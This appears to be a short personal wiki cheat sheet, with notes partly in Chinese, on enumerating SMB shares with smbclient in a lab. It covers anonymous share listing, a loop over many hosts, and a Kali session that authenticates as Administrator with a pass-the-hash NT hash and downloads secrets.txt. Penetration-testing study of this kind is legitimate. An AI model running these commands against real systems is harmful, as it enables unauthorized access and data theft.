

【SMB】 smbclient

```
# //192.168.203.13/files => share folder
# -c command
smbclient -N //192.168.203.13/files -c "dir"
# 直接登入
smbclient -N //192.168.203.13/files
-N 匿名 => 匿名沒戲，大概沒戲

##
smbclient -N -L 192.168.203.9
for ip in $(cat smb_list.txt); do (smbclient -N -L $ip ); done

##
smbclient -L 192.168.201.63 -p 4455 -U {user}%{passwd} -c "dir"
##
smbclient -N //192.168.205.248/transfer -c "recurse; ls" > 123.txt
```

```
kali@kali:~$ smbclient \\\192.168.50.212\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b
Try "help" to get a list of possible commands.
smb: \> dir

.                D          0 Thu Jun  2 16:55:37 2022
..              DHS          0 Thu Jun  2 16:55:35 2022
secrets.txt      A           4 Thu Jun  2 11:34:47 2022

4554239 blocks of size 4096. 771633 blocks available

smb: \> get secrets.txt
getting file \secrets.txt of size 4 as secrets.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
```

🕒 修訂版本 #3

★ 由 treeman 建立於 11 🍀🍀🍀🍀 2023 02:16:06

✍ 由 treeman 更新於 12 🍀@🍀🍀 2024 09:40:54